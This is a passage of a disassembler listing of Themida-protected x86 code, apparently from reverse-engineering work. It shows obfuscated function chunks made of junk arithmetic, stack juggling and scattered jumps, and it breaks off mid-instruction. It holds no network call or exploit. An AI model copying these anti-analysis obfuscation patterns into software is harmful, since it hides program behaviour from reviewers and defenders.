FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A61D loc_5743EB: ; CODE XREF: sub_56A61D+25j mov esp, [esp+4+var_4] jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56A61D ; --------------------------------------------------------------------------- loc_5743F3: ; CODE XREF: Themida_:0056C8C9j pop dword ptr [esp] jmp loc_5617BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56513E loc_5743FB: ; CODE XREF: sub_56513E-2896j add ebp, 43071AE0h add ebp, 0F68FD223h add esi, ebp pop ebp add ebp, esi pop esi jmp sub_5750DE ; END OF FUNCTION CHUNK FOR sub_56513E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_574412: ; CODE XREF: sub_574FC9-6325j add ebx, edi sub ebx, 371B6D13h mov edi, [esp+0] add esp, 4 xor ebx, [esp-4+arg_0] xor [esp-4+arg_0], ebx xor ebx, [esp-4+arg_0] mov esp, [esp-4+arg_0] idiv cl movzx cx, ah push small 6E0Ch mov word ptr [esp-6+arg_0+2], cx movzx cx, al push cx pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_574FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB51 loc_574446: ; CODE XREF: sub_56AB51+A818j mov esi, [esp+0Ch+var_C] jmp loc_56B96A ; END OF FUNCTION CHUNK FOR sub_56AB51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56306E loc_57444E: ; CODE XREF: sub_56306E+4j push 73BAh mov [esp+4+var_4], ecx push esp pop ecx sub esp, 4 mov [esp+8+var_8], edx mov edx, 4 sub ecx, 453474C5h push edx mov edx, 582C61ABh jmp loc_56F1E9 ; END OF FUNCTION CHUNK FOR sub_56306E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_574477: ; CODE XREF: sub_561418+7A1Aj add ebp, edi mov edi, [esp+14h+var_14] jmp loc_56CA20 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_574481: ; CODE XREF: sub_56AEF2-1AFCj add ebp, 4 push esi jmp loc_56002E ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560457 loc_57448D: ; CODE XREF: sub_560457+B5B6j pop ebp xchg ebx, [esp+0] mov esp, [esp+0] jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_560457 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_574499: ; CODE XREF: sub_561418-1121j mov [esp+0], edx mov edx, 63AA1D43h dec edx inc edx push eax jmp loc_567D5C ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_5744A9: ; CODE XREF: sub_572E16-109BBj mov ecx, [esp+4+var_4] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+8+var_8] pop esp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+8+var_8] pop esp mov [esp+4+var_4], edi push esp mov edi, [esp+8+var_8] push ebp sub esp, 4 mov [esp+10h+var_10], esp add [esp+10h+var_10], 4 pop ebp add ebp, 4 push 6365h mov [esp+10h+var_10], ecx push esi jmp loc_56A3F9 ; END OF FUNCTION CHUNK FOR sub_572E16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57199D loc_5744FC: ; CODE XREF: sub_57199D-9B82j dec ebx xchg eax, ebx jmp loc_5607E9 ; END OF FUNCTION CHUNK FOR sub_57199D ; =============== S U B R O U T I N E ======================================= sub_574503 proc near ; DATA XREF: Themida_:0055FEE8o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560B93 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056790A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056BBFA SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056D138 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056F050 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00575210 SIZE 00000006 BYTES mov cx, [esp+0] sub esp, 4 mov [esp+4+var_4], ebx mov ebx, esp add ebx, 4 jmp loc_56F050 sub_574503 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_57451A: ; CODE XREF: sub_574F16-4802j push 16B8h mov [esp+10h+var_12+2], ecx mov ch, 9Bh sub dl, 0F6h jmp loc_567358 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565849 loc_57452C: ; CODE XREF: sub_565849+B04Aj sub edx, 181377C0h push eax mov eax, 35D12159h neg eax sub eax, 4F7FAC22h add edx, eax pop eax mov ebx, [esp+0] add esp, 4 push ebx mov ebx, 2 add edx, ebx pop ebx push edx push [esp+arg_0] mov edx, [esp+4+var_4] jmp loc_571E59 ; END OF FUNCTION CHUNK FOR sub_565849 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_57455E: ; CODE XREF: sub_56616D+819Ej add dword ptr [esp+4], 63D85901h add [esp+4], ecx sub dword ptr [esp+4], 63D85901h push [esp-14h+arg_10] pop ecx jmp loc_571003 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_57457B: ; CODE XREF: sub_56AEF2-A24Bj pop esp push edx push 4 pop edx add ebx, edx push [esp-4+arg_0] pop edx push 3D46h jmp loc_56EB7E ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_574593: ; CODE XREF: sub_561027+11A0Dj mov esi, 1 sub esp, 4 mov [esp+0], edx push eax mov eax, 24h push eax push eax mov eax, 1CE46C0Ah sub [esp+0Ch+var_8], eax pop eax jmp loc_560D16 ; END OF FUNCTION CHUNK FOR sub_561027 ; =============== S U B R O U T I N E ======================================= sub_5745B5 proc near ; DATA XREF: Themida_:0055FD28o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560A58 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00561623 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00565472 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056A13E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056CACE SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056F244 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056FCC4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056FF8A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005732ED SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0057490F SIZE 0000000D BYTES lodsb jmp loc_560A58 sub_5745B5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5745BB: ; CODE XREF: sub_57354D-1D38j push eax jmp loc_56D8FE ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_5745C1: ; CODE XREF: sub_56FB8A-96C8j mov ebx, [esp+4+var_4] add esp, 4 jmp loc_56BB59 ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_5745CF: ; CODE XREF: sub_569FB8+542Fj mov esp, [esp+0Eh+var_E] add al, bl mov bx, [esp+2+var_2] jmp loc_561316 ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_5745DD: ; CODE XREF: sub_5685B2+9958j push dword ptr [esp+4] pop edx pop [esp+4+var_4] jmp loc_569467 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_5745EA: ; CODE XREF: sub_56AB5E-7128j mov ebx, [esp+8+var_8] jmp loc_562888 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_5745F2: ; CODE XREF: sub_564D26+EC1Aj pop ecx xor edx, [esp+0] xor [esp+0], edx jmp loc_574C3A ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_5745FE: ; CODE XREF: sub_563A7F+6DE1j mov edx, [esp+10h+var_10] jmp loc_56BFF3 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5634AF loc_574606: ; CODE XREF: sub_5634AF-806j add eax, 0B550F03Bh mov ebp, eax pop eax dec ebp sub ebp, 1 xchg eax, ebp not eax xchg eax, ebp add ebp, 419D8D03h add edx, ebp pop ebp sub edx, 6B1D33D1h jmp loc_56380C ; END OF FUNCTION CHUNK FOR sub_5634AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A7FB loc_57462D: ; CODE XREF: sub_56A7FB+8265j dec bl or bl, 0E1h push cx mov ch, bl not ch mov bl, ch pop cx xchg dl, bl xor dl, bl xor bl, dl xor dl, bl neg bl xchg bl, dl xchg dl, bl push eax sub esp, 4 jmp loc_561A33 ; END OF FUNCTION CHUNK FOR sub_56A7FB ; =============== S U B R O U T I N E ======================================= sub_574656 proc near ; CODE XREF: sub_563BCC+C106j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00561566 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00563BC0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00563E44 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005640F7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056451C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005649E5 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00565290 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00566046 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056689A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00567598 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 005676E2 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056776A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00567812 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00567DA0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00568167 SIZE 00000046 BYTES ; FUNCTION CHUNK AT 00568716 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00568C19 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056922A SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00569731 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00569BE7 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0056A9C6 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056B21B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056B25B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056C9D7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056CF9B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056D060 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056D1BD SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056D82D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056E0A5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056E6A2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056ED3F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F08C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056F498 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056FFFF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005707B3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00571294 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 005717E9 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00571C8B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00573414 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00573A16 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00573E66 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00574A19 SIZE 00000008 BYTES push ebp jmp loc_56F498 sub_574656 endp ; --------------------------------------------------------------------------- loc_57465C: ; CODE XREF: Themida_:0055FFB3j add ecx, ebx mov ebx, [esp] add esp, 4 push eax mov eax, 2 add ecx, eax pop eax jmp loc_5712FA ; --------------------------------------------------------------------------- loc_574672: ; CODE XREF: Themida_:00574083j sub [esp], ebp sub dword ptr [esp], 16887CAAh push dword ptr [esp] pop ebp add esp, 4 not ebp sub ebp, 0B2CDC8BEh add eax, ebp pop ebp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_56C8B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_57469F: ; CODE XREF: sub_57549C-14874j mov ebx, [esp+14h+var_14] add esp, 4 push eax push ecx xor [esp+18h+var_18], 12B90CE2h pop eax xor eax, 12B90CE2h push eax pop edx jmp loc_56E771 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DFE loc_5746BE: ; CODE XREF: sub_566DFE+C7Cj add esp, 4 mov eax, [esp+0] add esp, 4 add edi, 5BF202DCh sub edi, 67A0486Ah jmp loc_564A38 ; END OF FUNCTION CHUNK FOR sub_566DFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB93 loc_5746DB: ; CODE XREF: sub_56AB93+38j push ecx jmp loc_568CEB ; END OF FUNCTION CHUNK FOR sub_56AB93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569AB3 loc_5746E1: ; CODE XREF: sub_569AB3-2119j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+8+var_8] pop esp or edx, eax shl edx, 1 jmp loc_566D7E ; END OF FUNCTION CHUNK FOR sub_569AB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5610CE loc_5746FC: ; CODE XREF: sub_5610CE+180Cj pop eax inc ebp push edx mov edx, 46B83A15h add ebp, edx pop edx add esi, ebp jmp loc_560E29 ; END OF FUNCTION CHUNK FOR sub_5610CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_57470E: ; CODE XREF: sub_574304-9452j shl ebp, 2 jmp loc_566B26 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_574716: ; CODE XREF: sub_565632+9DC2j pop edi jmp loc_567CD4 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- loc_57471C: ; CODE XREF: Themida_:00560228j pop esi push 15B5h jmp loc_56328C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_574727: ; CODE XREF: sub_5678CB+1CA2j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+0] jmp loc_560ED3 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5726BB loc_57473A: ; CODE XREF: sub_5726BB-166Bj xor edi, 4F2F1C7Ch sub edi, 54C6392h jmp sub_56D0B7 ; END OF FUNCTION CHUNK FOR sub_5726BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_57474B: ; CODE XREF: sub_56616D+5A39j pop esp jmp loc_569587 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_574751: ; CODE XREF: sub_57354D-FA14j shl edx, 7 or edx, 64BD0A2Eh jmp loc_5679E8 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D9E loc_57475F: ; CODE XREF: sub_568D9E-4298j pop edi push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp+0] jmp loc_5707DC ; END OF FUNCTION CHUNK FOR sub_568D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5729F9 loc_574774: ; CODE XREF: sub_5729F9-A970j mov [esp+0Ah+var_C+2], ebx mov bl, 8Eh jmp loc_56436F ; END OF FUNCTION CHUNK FOR sub_5729F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_57477E: ; CODE XREF: sub_56AEF2-AEBFj and esi, 67C07647h shr esi, 2 jmp loc_560C91 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CF1 loc_57478C: ; CODE XREF: sub_560CF1+54B8j mov edi, [esp+8+var_8] jmp loc_56A065 ; END OF FUNCTION CHUNK FOR sub_560CF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565B6E loc_574794: ; CODE XREF: sub_565B6E+29j push edi jmp loc_5648B0 ; END OF FUNCTION CHUNK FOR sub_565B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_57479A: ; CODE XREF: sub_570E81-C857j push edx mov edx, 9290864h jmp loc_568D09 ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_5747A5: ; CODE XREF: sub_56FA15-11E9j pop esp xchg ebp, [esp+10h+var_10] pop esp jmp loc_565AF6 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; =============== S U B R O U T I N E ======================================= sub_5747AF proc near ; DATA XREF: Themida_:0055FD70o var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056271D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005647E5 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00564CFB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056624C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00570A07 SIZE 00000006 BYTES push 67AFh mov [esp+4+var_4], eax push edi push 5DD942E6h push [esp+0Ch+var_C] pop edi push esi push 268Bh jmp loc_5647E5 sub_5747AF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D0B7 loc_5747CC: ; CODE XREF: sub_56D0B7+60j push eax push 5C30345Dh jmp loc_561D3E ; END OF FUNCTION CHUNK FOR sub_56D0B7 ; =============== S U B R O U T I N E ======================================= sub_5747D7 proc near ; CODE XREF: sub_566078+2EC9j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0056124A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00562097 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056426E SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00564566 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00564A68 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00565A40 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00568FA7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056CB8C SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0056E8F5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0057051A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00571A78 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005732AC SIZE 00000022 BYTES sub esp, 4 jmp loc_564A68 sub_5747D7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_5747E2: ; CODE XREF: sub_5678CB+43B1j xor edx, 259Eh sub edi, 6EC3756Fh jmp loc_562CE9 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_5747F3: ; CODE XREF: sub_571F6F-78E4j not ecx jmp loc_567234 ; END OF FUNCTION CHUNK FOR sub_571F6F ; =============== S U B R O U T I N E ======================================= sub_5747FA proc near ; DATA XREF: Themida_:0055FF30o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = word ptr 8 ; FUNCTION CHUNK AT 005603F3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056070A SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00561D9D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00568B87 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056D3FB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056E35A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056EAAD SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056FE7F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00573945 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00573F27 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005752C4 SIZE 00000026 BYTES mov ax, [esp-8+arg_4] push eax sub esp, 4 push esp pop [esp+4+var_4] push edx mov edx, 4 add [esp+4], edx pop edx pop eax push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+0] pop esp mov [esp-4+arg_0], ecx jmp loc_56E35A sub_5747FA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD13 loc_57482B: ; CODE XREF: sub_56CD13+74D0j sub ebp, ecx pop ecx xchg ebp, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] jmp loc_562DFA ; END OF FUNCTION CHUNK FOR sub_56CD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56671D loc_574839: ; CODE XREF: sub_56671D+CA78j mov cl, 98h push eax mov al, 0EDh shl al, 3 jmp loc_5663A7 ; END OF FUNCTION CHUNK FOR sub_56671D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_574846: ; CODE XREF: sub_563FA2+563Dj push eax push ebx jmp loc_5692AF ; END OF FUNCTION CHUNK FOR sub_563FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_57484D: ; CODE XREF: sub_56657A+6A11j xor ebp, 552162DDh xor ebp, 719813BCh jmp loc_563CDB ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_57485E: ; CODE XREF: sub_56616D-9DBj push ecx push edx jmp loc_56BB98 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_574865: ; CODE XREF: sub_56657A+ECF2j mov [esp+0Ch+var_C], ebx push esp pop ebx jmp loc_5686AE ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_57486F: ; CODE XREF: sub_574304-C6D3j push 20BBh mov [esp+8+var_8], edx push ebp sub esp, 4 mov [esp+10h+var_10], edi mov edi, 476B6519h mov ebp, 2256A686h add ebp, edi pop edi mov edx, ebp pop ebp jmp loc_56C872 ; END OF FUNCTION CHUNK FOR sub_574304 ; =============== S U B R O U T I N E ======================================= sub_574896 proc near ; CODE XREF: sub_56FD6F-CF95j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 005602A2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00565DD1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005670A0 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00567258 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00568B25 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056D5A5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056E16A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00572400 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005727BD SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00572DEF SIZE 00000011 BYTES push ebp mov ebp, 4 jmp loc_56E16A sub_574896 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_5748A1: ; CODE XREF: sub_56616D-154Cj pop edx xor edx, ecx mov ecx, [esp+0] add esp, 4 shr edx, 2 jmp loc_5627B8 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_5748B2: ; CODE XREF: sub_56FA15-9F1Cj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+12h+var_14+2] pop esp mov [esp+0Eh+var_10+2], ecx mov cl, 0CBh shr cl, 1 shl cl, 4 push ebx push esp pop ebx add ebx, 4 sub ebx, 4 push ebx push [esp+16h+var_14+2] pop ebx pop [esp+16h+var_18+2] pop esp mov [esp+0Eh+var_10+2], edx push eax jmp loc_56502B ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5648C6 loc_5748ED: ; CODE XREF: sub_5648C6+265Dj sub edi, ebp pop ebp add edi, 2AF26DD7h sub edi, esi sub edi, 2AF26DD7h push esi mov esi, 46381155h push eax mov eax, 86B5980h jmp loc_566994 ; END OF FUNCTION CHUNK FOR sub_5648C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5745B5 loc_57490F: ; CODE XREF: sub_5745B5-48EFj pop ecx pop edx mov eax, [esp+8+var_8] add esp, 4 jmp loc_56CACE ; END OF FUNCTION CHUNK FOR sub_5745B5 ; --------------------------------------------------------------------------- loc_57491C: ; CODE XREF: Themida_:00565139j pop edx add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] xor eax, ebx pop ebx push 7EFFh mov [esp], edi jmp loc_56072E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C0A loc_57493F: ; CODE XREF: sub_571C0A+1j mov ebx, 24h jmp loc_56EFF9 ; END OF FUNCTION CHUNK FOR sub_571C0A ; =============== S U B R O U T I N E ======================================= sub_574949 proc near ; CODE XREF: sub_5754DA-8632j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560636 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00560B61 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00560E90 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056101D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00562847 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00564A2D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056514F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00565DAE SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005681AD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00569055 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005692BF SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056DA15 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056DD5F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056E1C6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00570024 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00570394 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00571AB4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00571E6E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005733E8 SIZE 00000024 BYTES sub esp, 4 mov [esp+4+var_4], ecx mov ch, 3Ah push 5102h mov [esp+8+var_8], edx mov dh, 6Ah jmp loc_569055 sub_574949 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD36 loc_574963: ; CODE XREF: sub_56BD36+9264j add eax, esi pop esi sub eax, 4 xchg eax, [esp+8+var_8] pop esp mov [esp+4+var_4], ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push [esp+8+var_4] pop ebp pop [esp+8+var_8] mov esp, [esp+4+var_4] mov [esp-4+arg_0], eax push [esp-4+arg_0] pop esi push 7948h mov [esp+0], ebx push esp mov ebx, [esp+4+var_4] push edx jmp loc_5687E0 ; END OF FUNCTION CHUNK FOR sub_56BD36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561826 loc_5749A3: ; CODE XREF: sub_561826+CF2Aj mov esp, [esp+0] mov bx, [esp+0] add esp, 2 xor [esp-6+arg_2], bp xor bp, [esp-6+arg_2] jmp loc_5656AC ; END OF FUNCTION CHUNK FOR sub_561826 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570FB7 loc_5749BA: ; CODE XREF: sub_570FB7-2C31j push dword ptr [esp+4] pop eax pop [esp+4+var_4] pop esp ; END OF FUNCTION CHUNK FOR sub_570FB7 ; START OF FUNCTION CHUNK FOR sub_569193 loc_5749C3: ; CODE XREF: sub_569193+B020j push 6A6Dh mov [esp+4+var_4], ebx push 